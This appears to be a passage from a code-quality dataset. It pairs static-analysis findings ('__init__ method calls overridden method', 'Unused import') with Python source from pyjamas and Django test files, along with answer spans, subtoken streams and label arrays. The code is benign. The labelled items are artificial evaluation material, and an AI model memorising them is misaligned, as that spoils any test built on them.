"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Test", "Meta", "data", "API_", ",_", "self_", ")_", "._", "set", "Up_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Meta", "data", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tear", "Down_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Test", "Meta", "data", "API_", ",_", "self_", ")_", "._", "tear", "Down_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Meta", "data", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "os", "\\u", "ui", "\\u", "metadata_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "ose", "s", "/", "%", "s", "/", "ui", "\\u", "metadata", "'_", "%_", "self_", "._", "os", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "In_", "(_", "'", "os", "\\u", "global", "\\u", "config", "'_", ",_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Meta", "data", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "flavor", "\\u", "ui", "\\u", "metadata_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "flavor", "s", "/", "%", "s", "/", "ui", "\\u", "metadata", "'_", "%_", "self_", "._", "flavor", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "In_", "(_", "'", "flavor", "\\u", "config", "'_", ",_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
`__init__` method calls overridden method
anandology/pyjamas/pgen/lib2to3/compiler/symbols.py
[ { "content": "class Scope:\n # XXX how much information do I need about each name?\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.Scope", "header": "['module', '___EOS___']", "index": 12 }, { "content": " def __init__(self, name, module, klass=None):\n self.name = name\n self.module = module\n self.defs = {}\n self.uses = {}\n self.globals = {}\n self.params = {}\n self.frees = {}\n self.cells = {}\n self.children = []\n # nested is true if the class could contain free variables,\n # i.e. if it is nested within another function.\n self.nested = None\n self.generator = None\n self.klass = None\n if klass is not None:\n for i in range(len(klass)):\n if klass[i] != '_':\n self.klass = klass[i:]\n break", "metadata": "root.Scope.__init__", "header": "['class', 'Scope', ':', '___NEWLINE___', '# XXX how much information do I need about each name?', '___NL___', '___EOS___']", "index": 14 }, { "content": "class ModuleScope(Scope):\n __super_init = Scope.__init__\n", "metadata": "root.ModuleScope", "header": "['module', '___EOS___']", "index": 170 }, { "content": " def __init__(self):\n self.__super_init(\"global\", self)", "metadata": "root.ModuleScope.__init__", "header": "['class', 'ModuleScope', '(', 'Scope', ')', ':', '___EOS___']", "index": 173 }, { "content": "class FunctionScope(Scope):\n pass", "metadata": "root.FunctionScope", "header": "['module', '___EOS___']", "index": 176 }, { "content": "class GenExprScope(Scope):\n __super_init = Scope.__init__\n\n __counter = 1\n\n", "metadata": "root.GenExprScope", "header": "['module', '___EOS___']", "index": 179 }, { "content": " def __init__(self, module, klass=None):\n i = self.__counter\n self.__counter += 1\n self.__super_init(\"generator expression<%d>\"%i, module, klass)\n self.add_param('.0')", "metadata": "root.GenExprScope.__init__", "header": "['class', 'GenExprScope', '(', 'Scope', ')', ':', '___EOS___']", "index": 184 }, { "content": " def get_names(self):\n keys = Scope.get_names(self)\n return keys", "metadata": "root.GenExprScope.get_names", "header": "['class', 'GenExprScope', '(', 'Scope', ')', ':', '___EOS___']", "index": 190 }, { "content": "class LambdaScope(FunctionScope):\n __super_init = Scope.__init__\n\n __counter = 1\n", "metadata": "root.LambdaScope", "header": "['module', '___EOS___']", "index": 194 }, { "content": " def __init__(self, module, klass=None):\n i = self.__counter\n self.__counter += 1\n self.__super_init(\"lambda.%d\" % i, module, klass)", "metadata": "root.LambdaScope.__init__", "header": "['class', 'LambdaScope', '(', 'FunctionScope', ')', ':', '___EOS___']", "index": 199 }, { "content": "class ClassScope(Scope):\n __super_init = Scope.__init__\n", "metadata": "root.ClassScope", "header": "['module', '___EOS___']", "index": 204 }, { "content": " def __init__(self, name, module):\n self.__super_init(name, module, name)", "metadata": "root.ClassScope.__init__", "header": "['class', 'ClassScope', '(', 'Scope', ')', ':', '___EOS___']", "index": 207 } ]
[ { "span": "self.__super_init(\"global\", self)", "start_line": 174, "start_column": 8, "end_line": 174, "end_column": 41 }, { "span": "self.__super_init(\"generator expression<%d>\"%i, module, klass)", "start_line": 187, "start_column": 8, "end_line": 187, "end_column": 70 }, { "span": "self.__super_init(\"lambda.%d\" % i, module, klass)", "start_line": 202, "start_column": 8, "end_line": 202, "end_column": 57 }, { "span": "self.__super_init(name, module, name)", "start_line": 208, "start_column": 8, "end_line": 208, "end_column": 45 } ]
[ { "span": "def __init__(self, name, module, klass=None):", "start_line": 14, "start_column": 4, "end_line": 14, "end_column": 49 }, { "span": "def __init__(self):", "start_line": 173, "start_column": 4, "end_line": 173, "end_column": 23 }, { "span": "def __init__(self, module, klass=None):", "start_line": 184, "start_column": 4, "end_line": 184, "end_column": 43 }, { "span": "def __init__(self, module, klass=None):", "start_line": 199, "start_column": 4, "end_line": 199, "end_column": 43 }, { "span": "def __init__(self, name, module):", "start_line": 207, "start_column": 4, "end_line": 207, "end_column": 37 } ]
1
false
[ "[CLS]_", "`_", "\\u\\u", "init\\u\\u_", "`_", "method_", "calls_", "overrid", "den_", "method_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Scope_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "XX", "X", " ", "how", " ", "muc", "h", " ", "informati", "on", " ", "do", " ", "I", " ", "need", " ", "abo", "ut", " ", "each", " ", "name", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Scope_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "XX", "X", " ", "how", " ", "muc", "h", " ", "informati", "on", " ", "do", " ", "I", " ", "need", " ", "abo", "ut", " ", "each", " ", "name", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "module_", ",_", "klass_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "name_", "=_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "module_", "=_", "module_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "defs_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "uses_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "globals_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "params_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "frees", "_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "cells_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "children_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "nest", "ed", " ", "is", " ", "true", " ", "if", " ", "the", " ", "class", " ", "coul", "d", " ", "contain", " ", "free", " ", "variab", "les", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "i", ".", "e", ".", " ", "if", " ", "it", " ", "is", " ", "nest", "ed", " ", "within", " ", "anot", "her", " ", "function", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "nested_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "generator_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "klass_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "klass_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "klass_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "klass_", "[_", "i_", "]_", "!=_", "'\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "klass_", "=_", "klass_", "[_", "i_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Modul", "e", "Scope_", "(_", "Scope_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u\\u", "super", "\\u", "init_", "=_", "Scope_", "._", "\\u\\u", "init\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Modul", "e", "Scope_", "(_", "Scope_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u\\u", "super", "\\u", "init_", "(_", "\"", "global", "\"_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Function", "Scope_", "(_", "Scope_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Gen", "Exp", "r", "Scope_", "(_", "Scope_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u\\u", "super", "\\u", "init_", "=_", "Scope_", "._", "\\u\\u", "init\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "counter_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Gen", "Exp", "r", "Scope_", "(_", "Scope_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "module_", ",_", "klass_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i_", "=_", "self_", "._", "\\u\\u", "counter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u\\u", "counter_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u\\u", "super", "\\u", "init_", "(_", "\"", "generat", "or", " ", "express", "ion", "<", "%", "d", ">\"_", "%_", "i_", ",_", "module_", ",_", "klass_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "\\u", "param_", "(_", "'.", "0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Gen", "Exp", "r", "Scope_", "(_", "Scope_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "names_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "keys_", "=_", "Scope_", "._", "get", "\\u", "names_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "keys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Lam", "bda", "Scope_", "(_", "Function", "Scope_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u\\u", "super", "\\u", "init_", "=_", "Scope_", "._", "\\u\\u", "init\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "counter_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Lam", "bda", "Scope_", "(_", "Function", "Scope_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "module_", ",_", "klass_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i_", "=_", "self_", "._", "\\u\\u", "counter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u\\u", "counter_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u\\u", "super", "\\u", "init_", "(_", "\"", "lambda", ".", "%", "d", "\"_", "%_", "i_", ",_", "module_", ",_", "klass_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Class", "Scope_", "(_", "Scope_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u\\u", "super", "\\u", "init_", "=_", "Scope_", "._", "\\u\\u", "init\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Class", "Scope_", "(_", "Scope_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "name_", ",_", "module_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u\\u", "super", "\\u", "init_", "(_", "name_", ",_", "module_", ",_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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nfrom datetime import timedelta, date\nfrom django.template import Template, Context, add_to_builtins\nfrom django.utils.dateformat import DateFormat\nfrom django.utils.translation import ugettext as _\nfrom django.utils.html import escape\n\nadd_to_builtins('django.contrib.humanize.templatetags.humanize')\n\n\nif __name__ == '__main__':\n unittest.main()\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class HumanizeTests(unittest.TestCase):\n\n\n\n\n\n", "metadata": "root.HumanizeTests", "header": "['module', '___EOS___']", "index": 9 }, { "content": " def humanize_tester(self, test_list, result_list, method):\n # Using max below ensures we go through both lists\n # However, if the lists are not equal length, this raises an exception\n for index in xrange(max(len(test_list), len(result_list))):\n test_content = test_list[index]\n t = Template('{{ test_content|%s }}' % method)\n rendered = t.render(Context(locals())).strip()\n self.assertEqual(rendered, escape(result_list[index]),\n msg=\"%s test failed, produced %s, should've produced %s\" % (method, rendered, result_list[index]))", "metadata": "root.HumanizeTests.humanize_tester", "header": "['class', 'HumanizeTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 11 }, { "content": " def test_ordinal(self):\n test_list = ('1','2','3','4','11','12',\n '13','101','102','103','111',\n 'something else', None)\n result_list = ('1st', '2nd', '3rd', '4th', '11th',\n '12th', '13th', '101st', '102nd', '103rd',\n '111th', 'something else', None)\n\n self.humanize_tester(test_list, result_list, 'ordinal')", "metadata": "root.HumanizeTests.test_ordinal", "header": "['class', 'HumanizeTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 21 }, { "content": " def test_intcomma(self):\n test_list = (100, 1000, 10123, 10311, 1000000, 1234567.25,\n '100', '1000', '10123', '10311', '1000000', '1234567.1234567',\n None)\n result_list = ('100', '1,000', '10,123', '10,311', '1,000,000', '1,234,567.25',\n '100', '1,000', '10,123', '10,311', '1,000,000', '1,234,567.1234567',\n None)\n\n self.humanize_tester(test_list, result_list, 'intcomma')", "metadata": "root.HumanizeTests.test_intcomma", "header": "['class', 'HumanizeTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 31 }, { "content": " def test_intword(self):\n test_list = ('100', '1000000', '1200000', '1290000',\n '1000000000','2000000000','6000000000000',\n None)\n result_list = ('100', '1.0 million', '1.2 million', '1.3 million',\n '1.0 billion', '2.0 billion', '6.0 trillion',\n None)\n\n self.humanize_tester(test_list, result_list, 'intword')", "metadata": "root.HumanizeTests.test_intword", "header": "['class', 'HumanizeTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 41 }, { "content": " def test_apnumber(self):\n test_list = [str(x) for x in range(1, 11)]\n test_list.append(None)\n result_list = (u'one', u'two', u'three', u'four', u'five', u'six',\n u'seven', u'eight', u'nine', u'10', None)\n\n self.humanize_tester(test_list, result_list, 'apnumber')", "metadata": "root.HumanizeTests.test_apnumber", "header": "['class', 'HumanizeTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 51 }, { "content": " def test_naturalday(self):\n from django.template import defaultfilters\n today = date.today()\n yesterday = today - timedelta(days=1)\n tomorrow = today + timedelta(days=1)\n someday = today - timedelta(days=10)\n notdate = u\"I'm not a date value\"\n\n test_list = (today, yesterday, tomorrow, someday, notdate, None)\n someday_result = defaultfilters.date(someday)\n result_list = (_(u'today'), _(u'yesterday'), _(u'tomorrow'),\n someday_result, u\"I'm not a date value\", None)\n self.humanize_tester(test_list, result_list, 'naturalday')", "metadata": "root.HumanizeTests.test_naturalday", "header": "['class', 'HumanizeTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 59 } ]
[ { "span": "from django.utils.dateformat import DateFormat", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 46 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "datetime_", "import_", "timedelta_", ",_", "date_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "template_", "import_", "Template_", ",_", "Context_", ",_", "add", "\\u", "to", "\\u", "builtins_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "datef", "ormat_", "import_", "Date", "Format_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "translation_", "import_", "ugettext_", "as_", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "html_", "import_", "escape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "add", "\\u", "to", "\\u", "builtins_", "(_", "'", "django", ".", "contrib", ".", "humanize", ".", "templatet", "ags", ".", "humanize", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "unittest_", "._", "main_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Huma", "niz", "e", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Huma", "niz", "e", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "humanize", "\\u", "tester_", "(_", "self_", ",_", "test\\u", "list_", ",_", "result", "\\u", "list_", ",_", "method_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Us", "ing", " ", "max", " ", "belo", "w", " ", "ensure", "s", " ", "we", " ", "go", " ", "through", " ", "bot", "h", " ", "lists_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Ho", "we", "ver", ",", " ", "if", " ", "the", " ", "lists", " ", "are", " ", "not", " ", "equal", " ", "length", ",", " ", "this", " ", "raise", "s", " ", "an", " ", "exception_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "index_", "in_", "xrange_", "(_", "max_", "(_", "len_", "(_", "test\\u", "list_", ")_", ",_", "len_", "(_", "result", "\\u", "list_", ")_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test\\u", "content_", "=_", "test\\u", "list_", "[_", "index_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "=_", "Template_", "(_", "'{{", " ", "test\\u", "content", "|", "%", "s", " ", "}}'_", "%_", "method_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rendered_", "=_", "t_", "._", "render_", "(_", "Context_", "(_", "locals_", "(_", ")_", ")_", ")_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "rendered_", ",_", "escape_", "(_", "result", "\\u", "list_", "[_", "index_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg_", "=_", "\"%", "s", " ", "test", " ", "fail", "ed", ",", " ", "produce", "d", " ", "%", "s", ",", " ", "shou", "ld", "'", "ve", " ", "produce", "d", " ", "%", "s", "\"_", "%_", "(_", "method_", ",_", "rendered_", ",_", "result", "\\u", "list_", "[_", "index_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Huma", "niz", "e", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "ordinal_", "(_", "self_", ")_", ":_", 